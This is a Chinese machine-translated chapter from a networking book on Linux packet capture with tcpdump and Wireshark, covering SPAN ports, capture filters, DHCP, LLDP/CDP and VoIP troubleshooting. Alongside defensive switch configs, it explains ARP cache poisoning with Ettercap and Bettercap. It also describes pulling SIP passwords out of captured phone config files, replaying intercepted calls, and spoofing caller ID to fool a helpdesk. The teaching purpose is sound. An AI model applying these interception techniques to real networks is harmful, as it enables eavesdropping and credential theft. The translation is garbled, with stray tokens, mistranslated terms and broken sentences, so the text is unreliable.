由于这些原因,在 10gbps 或以上时,水龙头是主动设备,其行为更像是带有一个或多个 SPAN 端口的开关,而不是无源设备。 信号仍然完全复制到目标端口,但在它后面有更多的电路,以确保发送到实际源、目标和捕获主机的信号仍然可以被各方可靠地读取。 - -在某些特定的安全设置中,我们仍然可以看到使用水龙头,1G、10G 或更快的流量必须被捕获,但我们也需要电气隔离,以防止任何传输。 - -水龙头仍然是一种方便的故障排除设备,可以放在你的笔记本电脑包中,以应对你需要它的不寻常情况,但正如前面提到的,它们不再经常用于普通的数据包捕获。 - -到目前为止,我们已经描述了各种捕获数据包的合法方法,但是罪犯和他们的恶意软件是如何完成任务的呢? - -## 恶意报文捕获方法 - -到目前为止,我们已经考虑了如何合法地捕获数据包。 但是,如果您考虑的是恶意意图,那么如何防御可能使用其他方法的攻击者呢? 为此,让我们像攻击者一样思考,看看他们如何在没有管理访问权限的情况下设置包捕获站。 - -第一种方法在第 7 章[](07.html#_idTextAnchor118)*、*Linux 上的 DHCP 服务*中介绍过。 攻击者可以挂载一个非法 DHCP 服务器,并将其主机作为目标计算机的默认网关或代理服务器(使用 WPAD 方法)。 在任何一种方法中,受害者的数据包都可以通过攻击者的主机并被捕获。 如果在明文协议(例如,使用 HTTP, TFTP, FTP,或 SIP,正如我们将在本章的后面看到,在*故障诊断*【显示】应用——捕捉 VoIP 电话部分),这些数据包可以存储供以后分析甚至实时修改。 我们可以通过保护 DHCP 服务来防止这种类型的攻击(正如我们在[*第七章*](07.html#_idTextAnchor118),*Linux 上的 DHCP 服务*中讨论的)。* - - *类似地,攻击者可以劫持路由协议来捕获特定子网或主机的流量。 我们偶尔会在互联网上看到这种情况,在那里子网可能会被利用 BGP 路由协议的信任性质所劫持。 在这些情况下,我们经常看到信用卡门户网站被重定向到意想不到的国家,在那里,当人们登录到为他们准备好的虚假网站时,他们的凭证就会被收获。 在这种情况下,受害者如何保护自己? 实际上,它比你想象的更简单,也更不可靠。 如果受害者收到一个无效证书的警告,他们应该关闭该会话而不继续进行。 不幸的是,虽然这确实是一个简单的解决方案(警告屏幕几乎是整个页面,并有很多红色在它),它也不是很可靠,因为许多人会简单地点击它来解散警告,并继续网站。 - -另一种常见的攻击者用来捕获数据包的方法称为 ARP 缓存中毒。 要理解这一点,您可能需要回顾 ARP 是如何工作的(第 3 章[](03.html#_idTextAnchor053)*,*使用 Linux 和 Linux 工具进行网络诊断*)。 在较高的级别上,攻击者使用 ARP 数据包向每个受害者“撒谎”——这可以在下图中很容易地看到:* - - *![Figure 11.3 – ARP cache poisoning ](img/B16336_11_003.jpg) - -图 11.3 - ARP 缓存中毒 - -在这个图中,两个受害者是**192.168.100.11**(**MAC 1111.1111.1111**),**192.168.100.22【显示】(**MAC 2222.2222.2222**)。 攻击者收集每个受害者的 MAC 并发送“无偿”(一种奇特的说法并不是要求)ARP 数据包,告诉 1【病人】**受害者,其 MAC`3333.3333.3333`,**,告诉受害者 2**,其 MAC 是`3333.3333.3333`。 开关看不到这些; 它只是将不同的包进行路由,因为它们在技术上都是有效的。 现在,当**受害者 1**想要与**受害者 2**对话时,它在它的本地 ARP 表中看到**受害者 2**的 MAC 是`3333.3333.3333`。**** - -如果**受害者 2**恰好是子网的默认网关,则攻击者可以将此扩展到网络外捕获。 - -这似乎有点复杂,但它已经自动化很多年了——用于这种类型的攻击的第一个工具是*d 嗅*,早在 2000 年由*Dug Song*编写。 Ettercap 是一个更现代的工具,它使用 GUI,允许您图形化地选择各种受害者。 Ettercap 及其后继者 Bettercap 的优势是,当他们看到“感兴趣的工件”,如凭证或密码散列时,他们会自动收集它们。 - -当这个过程完成后,Ettercap 关闭时,它优雅地用正确的值重新填充所有受害站的 ARP 表。 这意味着,如果 Ettercap 以一种不优雅的方式关闭(例如,被踢出网络或被太多的流量“淹没”),受害网站将因错误的 ARP 条目而“搁浅”,通常是在每个工作站的 ARP 定时器的持续时间内。 如果攻击站在其列表中有子网的默认网关,这种情况将在网关的 ARP 定时器持续时间内隔离整个子网(可能长达 4 小时)。 - -我们如何防范这种类型的攻击? 日志是一个很好的开始。 当看到两个不同的 MAC 地址声称拥有相同的 IP 地址时,大多数现代交换机和路由器都会记录一个`Duplicate IP Address`错误。 这种类型的日志条目上的警报(参见[*第 12 章*](12.html#_idTextAnchor216),*使用 Linux 的网络监控*)可以帮助启动主动事件响应程序。 - -我们还能做些更“积极”的事情吗? 大多数交换机都有一个称为**动态 ARP 检查**(**DAI**)的特性,它将查找这种类型的攻击。 当看到攻击时,关闭攻击者的以太网端口。 不过,您需要注意在哪里实现 DAI——不要在具有下行交换机或无线接入点的交换机端口上配置 DAI; 否则,当攻击者的端口被禁用时,攻击者会带走许多无辜的旁观者。 带有下游交换机或 ap 的端口通常被配置为“可信”,期望下游设备将处理其自己连接的站点的检查。 - -DAI 看起来非常类似于 DHCP 检查和信任配置: - -```sh -ip arp inspection vlan -ip arp inspection log-buffer entries -ip arp inspection log-buffer logs 1024 interval 10 -``` - -如前所述,在具有下行交换机、ap 等的交换机端口上,您可以使用以下方法禁用 DAI: - -```sh -int g1/0/x - ip arp inspection trust -``` - -要将 DAI ARP 阈值从默认的每秒 15 个包的限制降低到更低的值(在本例中是 10 个包),您可以执行以下操作: - -```sh -int g 1/0/x - ip arp inspection limit 10 -``` - -如果在使用 Ettercap 等工具进行攻击时启用了 ARP 检查,该工具通常会向受害者发送一个稳定的 ARP 报文流,以确保他们的 ARP 缓存保持有毒状态。 在这种情况下,当超过端口阈值时,受影响的交换机将生成`DAI-4-"DHCP_SNOOPING_DENY" "Invalid ARPs"`错误消息。 该端口还会创建`ERR-DISABLE`状态,使攻击者完全脱机。 - -然而,在当今网络速度不断增长的世界中,您可能会发现,您所捕获的数据超过了您的工作站的容量——但不要放弃; 你可以进行一些优化,这可能会有所帮助! - -# 捕获时的性能考虑 - -正如我们在上一节中提到的,一旦数据速率开始上升,抓包可能会影响主机,即使是高端 Linux 主机或 VM。 在设置数据包捕获时,还需要做出一些网络决策。 - -需要考虑的因素包括: - -* 如果您正在使用 SPAN 或 Monitor 端口(取决于交换机模型),那么您的目标端口(您的嗅探站所插入的端口)可能不在网络上—它可能只看到进出源的流量。 这意味着,通常,您必须使用最快的板载网卡来抓包,然后如果该主机需要同时在网络上活跃(例如,如果您正在远程访问它),则使用性能较低的 USB 网卡。 -* 在所有情况下,确保您的网卡足够快,能够实际“看到”所有目标数据包。 特别是在监视端口设置中,可以配置 10gbps 的源和 1gbps 的目的。 这样做会很好,直到您开始看到流量超过 1gbps。 在这一点上,交换机将开始队列和/或丢弃数据包,这取决于交换机的型号。 换句话说,你的里程可能会有所不同,你的结果可能是不可预测的(或可以预见的糟糕)。 -* 一旦在 NIC 上,确保 NIC 的上游能够处理流量。 例如,如果您在笔记本电脑上使用 10gbps 的 Thunderbolt 适配器,请确保它插入了 Thunderbolt 端口(而不是 USB-C 端口),并且您有足够的带宽来添加新的带宽。 例如,如果您在同一台笔记本电脑上有两个 4K 屏幕,那么用于高速数据包捕获的 Thunderbolt 上行链路上可能已经没有 10gbps 了。 -* 向上移动行,确保您的磁盘具有足够的速度和容量。 如果您捕获的是 10gbps,那么您可能希望将 NVME SSD 作为存储目标。 你可能也希望它是在板上,而不是插入相同的 Thunderbolt 或 USB-C 适配器,你有你的网络适配器。 或者,如果您使用服务器进行捕获,请查看可用的 RAID 或 SAN 吞吐量。 特别是如果存储是 iSCSI,请确保您的包捕获不会“饥饿”其他 iSCSI 客户端到 SAN 的带宽。 -* 考虑环缓冲区的大小,特别是 tcpdump 在这方面具有很好的灵活性。 环形缓冲区是内存中存储捕获数据包的临时区域,在此区域被发送到磁盘或捕获应用的内存之前。 在大多数 Linux 系统上,默认值为 2 MB,这通常已经足够了。 但是,如果您看到您的捕获会话似乎丢失了数据包,增加这个值可能会修复这个问题。 在 tcpdump 中,可以很容易地通过`-B`参数进行调整——这使得 tcpdump 成为在您知道或怀疑您的数据包捕获可能会突破限制时使用的理想工具。 注意,tcpdump 没有记录这个的默认大小; 2 MB 的默认值是常见的。 -* 假设您需要整个包。 如果您只需要包头来解决您的问题(换句话说,您不需要实际的负载),您可以调整`snaplen`—每个包中要捕获的字节数。 例如,将此值从`1500`减少到`64`可以显著增加适合您的环形缓冲区的数据包数量。 您将希望确保`snaplen`值足够大,以捕获所有包头信息。 -* 最后,如果您作为一个攻击者在一个批准的安全演习(例如渗透测试)中工作,还有一些事情要记住。 如果您正在使用 ARP 缓存中毒作为您的业务的一部分,请注意这种攻击有一定的风险。 确保你的站有足够的接口带宽、CPU 和内存容量成功这种类型的攻击,如果中间的**男人**(**MiTM)流量超过你的站的能力,您的机器可能会离线。 对于受害者(可能是整个 VLAN)来说,这意味着他们将留下无效的 ARP 缓存,并在 ARP 计时器的持续时间内(在某些平台上长达 4 个小时)被搁浅。** - -有了这些理论,我们将使用哪些工具来捕获和分析数据包呢? - -# 捕获工具 - -可以使用许多不同的工具从网络上捕获数据包,或者直接分析数据包数据,或者将它们存储在`pcap`文件中。 还有更多的工具可以获取这些`pcap`文件,并允许您对它们进行进一步的离线分析。 - -## tcpdump - -我们已经多次引用了 tcpdump。 这是一个命令行包捕获工具,这意味着它可以在没有 GUI 的系统上使用,也可以在使用非 GUI 接口(如,如 SSH)时使用。 因为它不处理任何图形,也不为您查看(例如告诉您任何协议细节)预处理数据包,所以它是您将找到的用于包捕获的性能更高、影响最小的工具之一。 - -tcpdump 使用**伯克利包过滤**(**BPF**)语法来决定捕获哪些包。 这可以使用根据 IP 地址、MAC 地址、协议甚至 TCP 数据包中的特定标志进行过滤。 - -## Wireshark - -Wireshark 是最常用的抓包工具之一。 它有一个 GUI,并且每个数据包都被分类、用颜色编码并进行消息处理,以便尽可能多地显示信息。 与 tcpdump 类似,Wireshark 在抓取过程中使用 BPF 语法对报文进行过滤。 它使用不同的过滤器语法来过滤显示的数据包。 - -## TShark - -TShark 是与 Wireshark 应用一起打包的,本质上是一个命令行/文本版本的 Wireshark。 如果您在 SSH 会话中,并且希望使用比 tcpdump 更灵活的方法,那么使用 TShark 是非常方便的。 - -## 其他 PCAP 工具 - -有数百种(如果不是数千种的话)工具可以用来捕获数据包或分析数据包捕获。 在攻击者方面,我们已经讨论过 Ettercap、Bettercap 和 d 嗅作为 MiTM 攻击工具。 像 NetworkMiner 这样的工具对于包捕获或处理现有的包捕获都很有用。 这样的工具使您可以节省分析哪些文件可能很快变成非常大的包捕获文件的时间。 NetworkMiner 将从`pcap`文件中提取有价值的工件,例如在捕获会话期间传输的凭据、凭据散列、证书和数据文件。 - -我们将讨论更高级的工具,使用数据包捕获,即**入侵检测系统(IDS**),**入侵预防系统**(【显示】**IPS)和被动交通监控,在接下来的章节([*第十三章【病人】*](13.html#_idTextAnchor236),*入侵预防系统在 Linux 上*, [*第十四章*](14.html#_idTextAnchor252),*Linux 上的蜜罐服务*)。****** - - ****您可能会发现,首先进行包捕获的原因是为了解决问题。 让我们讨论一下如何只捕获或查看应用于您正在处理的问题的数据包。 - -# 过滤捕获流量 - -在使用包捕获工具时,您将注意到的第一件事是显示上出现的大量包。 由于包捕获通常是为了排除故障而进行的,所以您通常希望将包限制为具有需要解决的问题的包。 为此,您通常要么希望在捕获过程中“过滤”这些包,要么希望在捕获后过滤这些包的显示。 让我们讨论这两种情况。 - -## Wireshark capture filters(捕获您的家庭网络流量) - -没有特定的交换机配置,您的家庭网络上的数据包捕获将发现比您可能认为的更多。 现在很多家庭都有一小群基于 Linux 的联网设备——如果连上了,你的电视、恒温器、门铃、跑步机和冰箱可能都是 Linux 主机。 这些通常被称为**物联网**(**物联网**)设备。 几乎所有物联网主机都可能在你的有线和无线网络上广播和多播一个持续的“发现”包流,它们这样做是为了找到可能想要与它们对话甚至控制它们的控制器和集线器。 - -让我们快速看一下-我们将使用 Wireshark 工具来完成这个。 - -启动该工具并选择连接到您的网络的网络适配器。 - -在您点击**Start**之前,让我们添加一个捕获过滤器。 我们将排除我们的地址,并从捕获中排除 ARP 包。 注意,你的 IP 地址将是不同的: - -![Figure 11.4 – Adding a capture filter to Wireshark ](img/B16336_11_004.jpg) - -图 11.4 -在 Wireshark 中添加一个捕获过滤器 - -现在,点击**开始捕获**按钮,左上方的蓝色*鱼翅*图标,或者选择**捕获/开始**。 - -在一个典型的家庭网络中,您应该在几秒钟内就有几十个包要查看——下面的截图显示了在我的家庭网络中 10 秒后的包。 您可能会看到广播和多播通信的混合——根据定义,传输是发送到所有电台的。 虽然这可能被视为一个有限的捕获,你可以使用它开始库存什么是在你的网络: - -![Figure 11.5 – A typical home network capture ](img/B16336_11_005.jpg) - -图 11.5 -一个典型的家庭网络捕获 - -即使没有探索数据包的内容,有一些关键的事情要注意前面的截图: - -* 部分 IPv4 设备运行在`169.254.0.0/16`范围内(即自动私有 IP 地址范围)。 这些地址无法路由出您的网络,但对于电视遥控器或门铃与本地网络上的控制器通话这样的东西,这完全没问题。 -* 你可能会看到生成树交通从您的本地开关,如果你等待足够长的时间,你可能会看到**发现链路层协议**(**LLDP)或思科发现协议**(【显示】**CDP)数据包从开关(稍后我们会看到一个这样的例子在这一节中)。****** -*** 你也很可能会看到 IPv6 流量——在这个捕获中,我们可以看到`DHCPv6`和`ICMPv6`数据包。** - - **这一切都来自 10 秒钟的倾听! 为了好玩,深入研究你的家庭网络,甚至是一些简单的事情,比如查看你看到的 MAC 地址,并使用它的 OUI 来识别每个供应商。 - -让我们从数据包的角度深入研究一组特定的设备——**VoIP**(**VoIP**)电话。 - -## tcpdump 捕获过滤器- VoIP 电话和 DHCP - -让我们通过研究 tcpdump 和 Wireshark 中的捕获过滤器,看看典型 VoIP 电话的启动顺序。 我们的网络很简单; 有四个站点和两个 vlan: - -![Figure 11.6 – Lab setup for packet captures ](img/B16336_11_006.jpg) - -图 11.6 -包捕获的实验设置 - -注意,我们设置了一个监视器会话,其中端口`5`接收端口`1`进出的所有数据包。 - -以下是 VoIP 电话启动与通信过程中涉及的站的概述: - -![](img/B16336_11_Table_01.jpg) - -注意,当我们从左到右表中,我们旅行所代表的“堆栈”的 ISO 模型-应用中的扩展表示层,IP 地址是第四层,MAC 地址和 vlan 是 2 层,最后我们有自己的接口。 - -首先,让我们使用 tcpdump 来捕获 DHCP 服务器本身上的 DHCP 序列。 使用此主机非常方便,因为 DHCP 服务器是 DHCP“对话”的一端,所以如果一切正常,它应该可以看到两个方向的所有数据包。 - -此外,使用 tcpdump 意味着我们不依赖于任何 GUI—如果您从 SSH 会话操作,您仍然得到完全支持。 Tcpdump 几乎被普遍支持。 几乎每个 Linux 发行版都默认安装了 tcpdump,此外,您可以在大多数防火墙、路由器和交换机上调用 tcpdump(使用一种或另一种语法)——这并不奇怪,因为这些平台中有许多是基于 Linux 或 BSD unix 的。 - -我们继续抓捕吧。 因为源站还没有 IP 地址,我们需要根据电话的 MAC 地址和 DHCP 使用的两个 UDP 端口来指定流量:`67/udp`(bootps)和`68/udp`(bootpc)。 我们将捕获完整的数据包并将它们写入一个文件—注意,实际的捕获需要*sudo*权限。 - -首先,列出接口以便我们获得正确的源: - -```sh -$ tcpdump -D -1.ens33 [Up, Running] -2.lo [Up, Running, Loopback] -3.any (Pseudo-device that captures on all interfaces) [Up, Running] -4.bluetooth-monitor (Bluetooth Linux Monitor) [none] -5.nflog (Linux netfilter log (NFLOG) interface) [none] -6.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none] -7.bluetooth0 (Bluetooth adapter number 0) [none] -``` - -现在,让我们捕获一些数据包! - -```sh -$ sudo tcpdump -s0 -l -i ens33 udp portrange 67-68 -tcpdump: verbose output suppressed, use -v or -vv for full protocol decode -listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes -08:57:17.383672 IP 192.168.123.1.bootps > 192.168.122.113.bootps: BOOTP/DHCP, Request from 80:5e:c0:57:bc:91 (oui Unknown), length 548 -08:57:18.384983 IP 192.168.122.113.bootps > 192.168.123.1.bootps: BOOTP/DHCP, Reply, length 332 -``` - -我们的论点包括: - -![](img/B16336_11_Table_02.jpg) - -在输出中,我们可以看到交换中的前几个包——我们想要做的是将其写入一个文件,所以让我们为其添加`-w`: - -```sh -$ sudo tcpdump -s0 -l -i ens33 udp portrange 67-68 -w DHCPDora-Phone.pcap -``` - -现在,让我们假设我们无法访问 DHCP 服务器。 或者,如果 DHCP 不能正常工作,我们可能需要一个交换机的*网络视图*,以了解为什么服务器或客户端不能接收或发送 DHCP 报文。 在这种情况下,请记住客户机是一部电话,因此,尽管它很可能是基于 linux 的,但供应商可能无法方便地通过 SSH 到该平台来运行 tcpdump。 - -在这种情况下,典型的解决方案是设置一个 SPAN 端口,也称为`monitor`或`mirror`端口(取决于交换机供应商)。 在这种情况下,我们的数据包捕获主机位于端口`5`,因此它将是监视会话的目的地。 电话位于端口`1`中,因此这将是我们的监视器会话源。 在 Cisco 交换机上,设置语法如下所示: - -```sh -monitor session 1 source interface Gi1/0/1 -monitor session 1 destination interface Gi1/0/5 -``` - -要查看正在运行的各种监视器会话,`show`命令如下所示: - -```sh -rvlabsw01#sho monitor -Session 1 ---------- -Type : Local Session -Source Ports : - Both : Gi1/0/1 -Destination Ports : Gi1/0/5 - Encapsulation : Native - Ingress : Disabled -``` - -让我们在 Wireshark 中设置这个。 这对我们有很多好处——它不仅会检查过滤器的语法(注意,当它有效时,它会变成绿色),而且我们还可以图形化地选择我们的网络适配器,并且在捕获过程中图形化地显示数据包。 同样,在我们选择捕获接口后,过滤器将如下所示: - -![Figure 11.7 – Defining a capture filter in Wireshark ](img/B16336_11_007.jpg) - -图 11.7 -在 Wireshark 中定义捕获过滤器 - -注意,Wireshark 和 tcpdump 的捕获过滤器语法是相同的; 它使用所谓的 BPF 语法。 在这个例子中,我们在过滤器中添加了一个`ether host`,只捕获到该 MAC 地址的 DHCP 报文。 按**Start Capture**按钮(窗口左上方的蓝色*鱼翅*图标); 我们将看到我们的 DHCP 序列作为电话启动: - -![Figure 11.8 – A full DHCP "DORA" sequence captured ](img/B16336_11_008.jpg) - -图 11.8 -捕获一个完整的 DHCP“DORA”序列 - -如果你没有实验室设置,你可以从我们的 GitHub 页面([https://github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11](https://github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11))收集这个`pcap`文件; 文件名为`DHCP DORA Example.pcapng`。 - -我们可以简单地扩展数据包中的各种数据字段,以显示各种诊断值。 展开第一帧的 DHCP 部分: - -![Figure 11.9 – Exploring the DHCP "Discover" packet ](img/B16336_11_009.jpg) - -图 11.9 -探测 DHCP“发现”包 - -向下滚动和扩展一些 DHCP`Option`域,特别是`Parameter Request List`: - -![Figure 11.10 – DHCP options in the "Discover" packet ](img/B16336_11_010.jpg) - -图 11.10 -“Discover”报文中的 DHCP 选项 - -注意电话的*请求列表*中有多少项。 这些为攻击者提供了一些很好的选择。 特别是,如果恶意的 DHCP 服务器可以响应并给电话一个不同的 TFTP 服务器和 Bootfile 名称,那么 TFTP 服务器上的那个文件就拥有电话的全部配置,包括它的扩展名和呼叫者 ID——几乎所有的一切。 - -此外,这样的配置服务器几乎总是 TFTP 或 HTTP 服务器。 对攻击者来说意味着什么,如果他们可以得到一个 MiTM 客户机和服务器之间的位置(使用 Ettercap、Bettercap 或类似工具),他们不仅可以收集配置数据供以后使用的攻击,他们也可以实时修改这些数据,手机下载它。 - -这强调了保护您的 DHCP 服务和 VoIP 配置服务是多么重要! 让我们看看一个更通用的协议——LLDP 和 CDP。 - -## 更多的捕获过滤器- LLDP 和 CDP - -当一个车站启动时,我们还能看到什么? CDP 和 LLDP 是主要的第 2 层发现协议,你会在大多数环境中看到。 这些协议将在故障排除或自动记录我们的网络和站点时为我们提供各种有用的信息。 它们还会向攻击者提供相同的信息,这意味着在可能的情况下,您将希望限制这些协议,通常是在连接到其他公司的任何通信链路上。 - -LLDP 要求几乎所有的 VoIP 实现,尽管——它的手机怎么知道 VLAN 是在大多数情况下在 DHCP(除非 VLAN 组),这也是大多数电话协商他们的**如何控制以太网**(**坡)力量的水平。 如果没有 LLDP,所有的手机将收到 15 瓦的电力,这意味着任何给定的开关将需要提供 6-7 倍的电力(大多数手机在 2-4-6 瓦范围内)。** - -让我们来看看 CDP(它向第二层地址`01:00:0c:cc:cc:cc`进行组播)和 LLDP(它向`01:80:C2:00:00:0E`进行组播,并具有`0x88cc`的以太网协议)。 在这种情况下,我们的捕获过滤器如下所示: - -```sh -ether host 01:00:0c:cc:cc:cc or ether proto 0x88cc -``` - -或者,它将如下: - -```sh -ether host 01:00:0c:cc:cc:cc or ether host 01:80:C2:00:00:0E -``` - -结果捕获显示,LLDP 和 CDP 都在发挥,但我们可以看到在 LLDP 数据包,手机发送? - -我们正在寻找的信息都在 Wireshark 显示的应用部分(这个捕获的示例文件是 LLDP 和 CDP -`Phone Example.pcapng`)。 打开文件,显示 LLDP 报文的**链路层发现协议**部分。 注意下面的数据包含很多十六进制字符,但是有足够的数据可以转换成 ASCII,您可以看到一些有用的数据! - -![Figure 11.11 – A captured LLDP frame ](img/B16336_11_011.jpg) - -图 11.11 -捕获的 LLDP 帧 - -现在,展开 LLDP 选项卡,以便我们可以查看该部分的一些细节: - -![Figure 11.12 – Looking at the LLDP packet in more detail ](img/B16336_11_012.jpg) - -图 11.12 -更详细地查看 LLDP 数据包 - -电话已被设置为自动速度和双工,并协商为 100/Full。 - -该手机为 Yealink,型号为 T21P-E2,序列号为`805ec086ac2c`。 它运行的固件版本是 52.84.0.15。 - -在未加标签的(原生)虚拟局域网(VLAN ID 是`0`),没有**的服务质量**(**QoS)标签设置(DSCP`0`,所以是 L2 优先级)。** - -请随意从捕获文件中的 CDP 数据包中收集相同的信息-记住我们过滤了 CDP 和 LLDP。 - -这可能看起来像是一个简单的例子,但通常情况下,网络是经过多年“有机地”组合在一起的,很少或没有文档。 在某种程度上,网络将变得足够复杂,或者知道所有网络是如何连接起来的人将离开公司——在这种情况下,记录您的网络将变得非常重要。 如果 CDP 或 LLDP 是启用的,这给你一个重要的工具,让你有一个好的开始,所有的 IP 地址,型号号码,固件,和连接端口。 - -从攻击者的角度来看,可以使用相同的信息来识别可能成为攻击对象的主机。 您可以使用相同的方法来收集这些数据,查找具有已知漏洞的固件版本的基础设施。 然后,这些设备就可以成为攻击者的下一个平台,利用该主机收集进一步的信息,以便在下一次攻击中使用。 这种方法可以很容易地用于继续攻击到下一个连接的组织,也许目标是路由器或交换机,我们的 ISP 在我们的互联网或 MPLS 上行链路上。 - -现在,让我们看看如何从包捕获中提取特定的工件,例如文件。 - -## 抓包收集文件 - -如果您正在处理一组捕获的包,或者正在进行包捕获,如果看到文件传输经过,您有哪些选项? 如果它使用任何 TCP 协议,或众所周知的 UDP 协议(如 TFTP 或 RTP),那么它就非常简单! - -在这里,我们可以看到一个包捕获(`file-transfer-example.pcapng`在我们的 GitHub 存储库)。 Wireshark 正确地识别出这是一个 TFTP 文件传输: - -![Figure 11.13 – A packet capture containing a file transfer ](img/B16336_11_013.jpg) - -图 11.13 -包含文件传输的数据包捕获 - -知道网络上有 VoIP 电话,我们怀疑这些可能是配置文件——在启动/初始化过程中传输的电话的配置文件。 让我们仔细看看。 - -在第一行中,我们可以看到一个名为`SIPDefault.cnf`的文件的读请求。 这确实是一个高价值的目标,因为它为思科 SIP 电话提供了一套默认设置,如果它们是集中供应的。 突出显示第一个包标记为**数据包**(数据包 3)。右键单击它并选择**遵循| UDP 流**。 正如你所回忆的,在 UDP 协议中没有会话数据,但 Wireshark 为许多协议内置了解码,TFTP 只是其中之一: - -![Figure 11.14 – Collecting a transferred file from a PCAP – step 1 ](img/B16336_11_014.jpg) - -图 11.14 -从 PCAP 收集传输文件-步骤 1 - -宾果! 我们找到要找的文件了! 选择**另存为…** 来“收获”此文件。 现在,让我们看看还有什么: - -![Figure 11.15 – Collecting a transferred file from a PCAP – step 2 ](img/B16336_11_015.jpg) - -图 11.15 -从 PCAP 收集传输文件-步骤 2 - -关闭此窗口并在 Wireshark 中清除显示过滤线,这样我们就可以再次看到整个捕获(清除显示`udp stream eq 1`的文本)。 - -在数据包 15 上,我们看到对第二个文件的请求`SIP0023049B48F1.cnf`。 对这个文件重复我们之前遵循的过程——传输从包 17 开始,所以遵循从那里开始的 UDP 流。 有了这个文件,我们现在就有了 MAC 地址为`0023.049B.48F1`的电话的 SIP 配置。 查看这个文件,我们可以看到这是扩展名`1412`的配置文件,调用者 ID 为`Helpdesk Extension 2`。 该文件包含该电话的整个配置,包括 SIP 密码。 有了这些信息,攻击者就可以轻松地模拟帮助台扩展,并使用社会工程从呼叫帮助台的人那里收集机密信息——这确实是一条很有价值的信息! - -现在,让我们更深入地研究我们的电话系统,并从一个实际的 VoIP 电话呼叫中捕获音频。 - -# 故障排除应用-捕获 VoIP 电话呼叫 - -为此,我将保持相同的捕获设置,并从端口`G1/0/1`上的客户端电话拨打`G1/0/2`上的帮助台电话。 捕获所有进出`G1/0/1`的数据包应该会得到所需的信息——对于这个间隔,进出`G1/0/2`的流量应该与`G1/0/1`相同(只是方向相反)。 - -为了捕获文本,我们只需要做一个完整的捕获; 在这种情况下不需要过滤器。 我们开始捕获,确保捕获了呼叫的开始和结束(所以我们在拨号之前开始捕获,在挂断之后结束捕获)。 - -完成捕获后,我们可以看到在 Wireshark PCAP——这个实验室的示例文件`HelpDesk Telephone Call.pcapng`,位于 GitHub 库在 https://github.com/PacktPublishing/Linux-for-Networking-Professionals/tree/main/C11。 - -让我们看看标记为`Ringing`的第 6 包。 探索这个包中的应用数据说明了在许多情况下理解这些数据是多么容易——特别是 SIP(当在调用建立中使用时)遵循了你可能期望从使用电子邮件中得到的: - -![Figure 11.16 – Exploring a SIP "ring / INVITE" packet ](img/B16336_11_016.jpg) - -图 11.16 -探索一个 SIP“ring / INVITE”包 - -看一下其他几个 SIP 包,并研究每个包的应用数据中的一些字段。 - -接下来,我们来看看调用本身。 注意,在数据包 15 上,协议从 SIP(在`5060/udp`上)变为**实时协议**(**RTP**)。 在这个包中有一些事情是不同的。 如果你展开`IP section`,然后展开**差异化服务字段**(**DSCP**)部分,你会看到已经设置了一个 DSCP 值`46`: - -![Figure 11.17 – DSCP bits in an RTP (voice) packet ](img/B16336_11_017.jpg) - -图 11.17 - RTP(语音)包中的 DSCP 位 - -DSCP 是包中的一个 6 位字段,它告诉中间的网络设备如何对这个包进行优先级排序。 本例中设置为`46`、**Expedited Forwarding**或**EF**。 这告诉交换机,如果有几个包排队,这个包(和其他具有相同标记的包)应该先走。 事实上,EF 标记是唯一的,因为它告诉网络设备,如果可能的话,根本不要队列这个包。 - -EF 标记是唯一的,因为它没有排队,并且首先被转发,以保持语音流的完整性,并防止“echo”等工件。 它的独特之处在于,如果缓冲区填充到一定程度,这个包必须排队,通常,中间的网络设备将丢弃几个包,而不是延迟它们。 这是因为人类的耳朵是更宽容的 VoIP 呼叫,有几个包被丢弃,而不是这些相同的包被延迟。 - -如果您检查用于设置呼叫的其中一个 SIP 包,这些包的 DSCP 值都是 26(有保证转发)——换句话说,不是 expedited,但它被标记为具有一定重要性的 UDP 包。 这些标记要求如果一个接口或路径拥塞,那么这个包应该被缓冲而不被丢弃。 - -接下来,让我们回到这个 RTP 包中的应用数据: - -![Figure 11.18 – RTP application data ](img/B16336_11_018.jpg) - -图 11.18 - RTP 应用数据 - -注意,这个数据要简单得多。 在大多数情况下,有一些导入数据可以识别这个数据包是正在进行的电话的一部分。 这是呼叫的包(和帧)4。 编解码器被识别,以便远端设备知道如何解码数据。 数据包的大部分在`Payload`域,这是语音数据。 - -你可以通过在呼叫中突出显示一个 RTP 包来“跟随”这个流,右键单击它,并选择**跟随 UDP 流**。 它提取通话中的所有 RTP/语音数据,以便对其进行分析。 在其他协议中,您可以选择**遵循 TCP 流**或**遵循 UDP 流**,然后能够恢复整个文件(例如,从 FTP 或 TFTP 会话中)。 - -为了恢复语音通话,Wireshark 添加了一个特殊的处理程序。 打开此 PCAP 文件,选择**Telephony**|**VoIP Calls**。 双击这个文件中捕获的一个调用,您将看到调用的两个部分被表示为两个 WAV 输出。 `R`(右)正在拨打电话,`L`(左)正在接听电话。 如果您选择**播放**按钮,您可以回放整个对话: - -![Figure 11.19 – Playing back a captured VoIP conversation ](img/B16336_11_019.jpg) - -图 11.19 -回放捕获的 VoIP 对话 - -或者,选择任意一个 RTP 报文,选择**Telephony | RTP | Stream Analysis**。 现在,选择**保存**并选择任何同步选项(例如-0)、**未同步前转**和**反向音频**。 这将文件保存为“AU”(Sun Audio)文件,它可以被大多数媒体播放器播放,或转换成任何其他所需的音频格式: - -![Figure 11.20 – Saving a VoIP conversation as a playable media file ](img/B16336_11_020.jpg) - -图 11.20 -将 VoIP 对话保存为可播放的媒体文件 - -这对任何运行 VoIP 解决方案的人都有一些明显的暗示。 缺省情况下,大多数 VoIP 配置不加密语音流量。 这是为了消除作为延迟或抖动来源的加密/解密,这是降低语音质量的两个主要原因。 这意味着在这些情况下,语音数据不能被视为“安全的”。 - -另外,请注意,在我们的帮助台呼叫中,帮助台人员使用来电显示来验证来电者的身份。 当一切正常时,这可能有效,但我们已经描述了一种折衷的方法。 一种更简单的方法是攻击者使用数据包捕获来识别 VoIP 基础设施如何工作,然后在他们的计算机上架设一个“软电话”。 在这种情况下,攻击者可以为调用者 ID 定义他们想要的任何东西; 这是一个简单的文本字段。 通常情况下,拨打电话时,来电者的 ID 是由手持设备而不是 PBX 提供的,所以在这种情况下,帮助台被骗进行了密码重置。 - -通常,电话启动顺序使用基于 TFTP 或 HTTP 的供应服务。 这将根据手机的“名称”下载一个配置文件。 在许多情况下,手机的“名称”是单词`SIP`,然后是手机的 MAC 地址——你也可以在手机的 LLDP 广告中看到这些名称。 